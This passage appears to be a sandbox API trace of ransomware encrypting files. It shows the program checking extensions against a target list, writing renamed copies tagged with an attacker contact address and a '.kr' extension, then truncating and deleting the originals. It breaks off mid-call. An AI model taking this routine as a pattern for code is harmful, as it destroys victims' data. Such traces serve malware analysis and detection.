[0212.259] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.259] SetEndOfFile (hFile=0x518) returned 1 [0212.262] CloseHandle (hObject=0x518) returned 1 [0212.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 1 [0212.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0212.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0212.263] lstrlenW (lpString=".doc") returned 4 [0212.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.263] lstrlenW (lpString=".docx") returned 5 [0212.263] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0212.263] lstrlenW (lpString=".pdf") returned 4 [0212.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.263] lstrlenW (lpString=".xls") returned 4 [0212.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.263] lstrlenW (lpString=".xlsx") returned 5 [0212.264] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0212.264] lstrlenW (lpString=".ppt") returned 4 [0212.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0212.264] lstrlenW (lpString=".zip") returned 4 [0212.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.264] lstrlenW (lpString=".rar") returned 4 [0212.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.264] lstrlenW (lpString=".bz2") returned 4 [0212.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.264] lstrlenW (lpString=".7z") returned 3 [0212.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0212.264] lstrlenW (lpString=".dbf") returned 4 [0212.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0212.264] lstrlenW (lpString=".1cd") returned 4 [0212.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0212.264] lstrlenW (lpString=".jpg") returned 4 [0212.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0212.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0212.264] lstrlenW (lpString=".doc") returned 4 [0212.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.264] lstrlenW (lpString=".docx") returned 5 [0212.264] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0212.264] lstrlenW (lpString=".pdf") returned 4 [0212.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.264] lstrlenW (lpString=".xls") returned 4 [0212.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.264] lstrlenW (lpString=".xlsx") returned 5 [0212.264] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0212.265] lstrlenW (lpString=".ppt") returned 4 [0212.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0212.265] lstrlenW (lpString=".zip") returned 4 [0212.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.265] lstrlenW (lpString=".rar") returned 4 [0212.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.265] lstrlenW (lpString=".bz2") returned 4 [0212.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.265] lstrlenW (lpString=".7z") returned 3 [0212.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0212.265] lstrlenW (lpString=".dbf") returned 4 [0212.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0212.265] lstrlenW (lpString=".1cd") returned 4 [0212.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68 [0212.265] lstrlenW (lpString=".jpg") returned 4 [0212.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.265] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0212.265] lstrlenW (lpString="J0107450.WMF") returned 12 [0212.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0212.266] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=4920) returned 1 [0212.266] CloseHandle (hObject=0x518) returned 1 [0212.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 0x220 [0212.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0212.266] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.267] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0212.267] GetLastError () returned 0x0 [0212.267] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1338, lpOverlapped=0x0) returned 1 [0212.269] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1340, lpOverlapped=0x0) returned 1 [0212.270] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.270] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.270] SetEndOfFile (hFile=0x3f8) returned 1 [0212.270] CloseHandle (hObject=0x3f8) returned 1 [0212.270] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.270] SetEndOfFile (hFile=0x518) returned 1 [0212.273] CloseHandle (hObject=0x518) returned 1 [0212.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 1 [0212.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0212.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0212.274] lstrlenW (lpString=".doc") returned 4 [0212.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.274] lstrlenW (lpString=".docx") returned 5 [0212.274] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0212.274] lstrlenW (lpString=".pdf") returned 4 [0212.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.274] lstrlenW (lpString=".xls") returned 4 [0212.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.274] lstrlenW (lpString=".xlsx") returned 5 [0212.274] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0212.274] lstrlenW (lpString=".ppt") returned 4 [0212.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0212.274] lstrlenW (lpString=".zip") returned 4 [0212.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.274] lstrlenW (lpString=".rar") returned 4 [0212.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.275] lstrlenW (lpString=".bz2") returned 4 [0212.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.275] lstrlenW (lpString=".7z") returned 3 [0212.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0212.275] lstrlenW (lpString=".dbf") returned 4 [0212.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0212.275] lstrlenW (lpString=".1cd") returned 4 [0212.275] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0212.275] lstrlenW (lpString=".jpg") returned 4 [0212.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0212.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0212.275] lstrlenW (lpString=".doc") returned 4 [0212.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.275] lstrlenW (lpString=".docx") returned 5 [0212.275] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0212.275] lstrlenW (lpString=".pdf") returned 4 [0212.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.275] lstrlenW (lpString=".xls") returned 4 [0212.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.275] lstrlenW (lpString=".xlsx") returned 5 [0212.275] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0212.275] lstrlenW (lpString=".ppt") returned 4 [0212.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0212.275] lstrlenW (lpString=".zip") returned 4 [0212.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.275] lstrlenW (lpString=".rar") returned 4 [0212.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.276] lstrlenW (lpString=".bz2") returned 4 [0212.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.276] lstrlenW (lpString=".7z") returned 3 [0212.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0212.276] lstrlenW (lpString=".dbf") returned 4 [0212.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0212.276] lstrlenW (lpString=".1cd") returned 4 [0212.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0212.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0212.276] lstrlenW (lpString=".jpg") returned 4 [0212.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0212.276] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0212.276] lstrlenW (lpString="J0107452.WMF") returned 12 [0212.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0212.277] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=21216) returned 1 [0212.277] CloseHandle (hObject=0x518) returned 1 [0212.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 0x220 [0212.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0212.278] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.278] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0212.279] GetLastError () returned 0x0 [0212.279] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x52e0, lpOverlapped=0x0) returned 1 [0212.281] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x52f0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x52f0, lpOverlapped=0x0) returned 1 [0212.282] ReadFile (in: hFile=0x518, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.282] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.282] SetEndOfFile (hFile=0x3f8) returned 1 [0212.282] CloseHandle (hObject=0x3f8) returned 1 [0212.282] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.283] SetEndOfFile (hFile=0x518) returned 1 [0212.285] CloseHandle (hObject=0x518) returned 1 [0212.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.286] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 1 [0212.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0212.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0212.287] lstrlenW (lpString=".doc") returned 4 [0212.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.287] lstrlenW (lpString=".docx") returned 5 [0212.287] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0212.287] lstrlenW (lpString=".pdf") returned 4 [0212.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.287] lstrlenW (lpString=".xls") returned 4 [0212.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.287] lstrlenW (lpString=".xlsx") returned 5 [0212.287] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0212.287] lstrlenW (lpString=".ppt") returned 4 [0212.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0212.287] lstrlenW (lpString=".zip") returned 4 [0212.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.287] lstrlenW (lpString=".rar") returned 4 [0212.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.287] lstrlenW (lpString=".bz2") returned 4 [0212.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0212.287] lstrlenW (lpString=".7z") returned 3 [0212.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0212.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0212.287] lstrlenW (lpString=".dbf") returned 4 [0212.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0212.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0213.022] lstrlenW (lpString=".1cd") returned 4 [0213.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0213.022] lstrlenW (lpString=".jpg") returned 4 [0213.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0213.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0213.022] lstrlenW (lpString=".doc") returned 4 [0213.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.022] lstrlenW (lpString=".docx") returned 5 [0213.022] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0213.022] lstrlenW (lpString=".pdf") returned 4 [0213.022] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.022] lstrlenW (lpString=".xls") returned 4 [0213.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.022] lstrlenW (lpString=".xlsx") returned 5 [0213.022] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0213.022] lstrlenW (lpString=".ppt") returned 4 [0213.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0213.023] lstrlenW (lpString=".zip") returned 4 [0213.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.023] lstrlenW (lpString=".rar") returned 4 [0213.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.023] lstrlenW (lpString=".bz2") returned 4 [0213.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.023] lstrlenW (lpString=".7z") returned 3 [0213.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0213.023] lstrlenW (lpString=".dbf") returned 4 [0213.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0213.023] lstrlenW (lpString=".1cd") returned 4 [0213.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0213.023] lstrlenW (lpString=".jpg") returned 4 [0213.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.023] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.023] lstrlenW (lpString="J0107492.WMF") returned 12 [0213.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.025] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=6860) returned 1 [0213.025] CloseHandle (hObject=0x564) returned 1 [0213.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 0x220 [0213.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.025] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.025] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0213.026] GetLastError () returned 0x0 [0213.026] ReadFile (in: hFile=0x564, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1acc, lpOverlapped=0x0) returned 1 [0213.028] WriteFile (in: hFile=0x4d8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0213.029] ReadFile (in: hFile=0x564, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.029] WriteFile (in: hFile=0x4d8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0213.029] SetEndOfFile (hFile=0x4d8) returned 1 [0213.029] CloseHandle (hObject=0x4d8) returned 1 [0213.029] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.029] SetEndOfFile (hFile=0x564) returned 1 [0213.032] CloseHandle (hObject=0x564) returned 1 [0213.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft 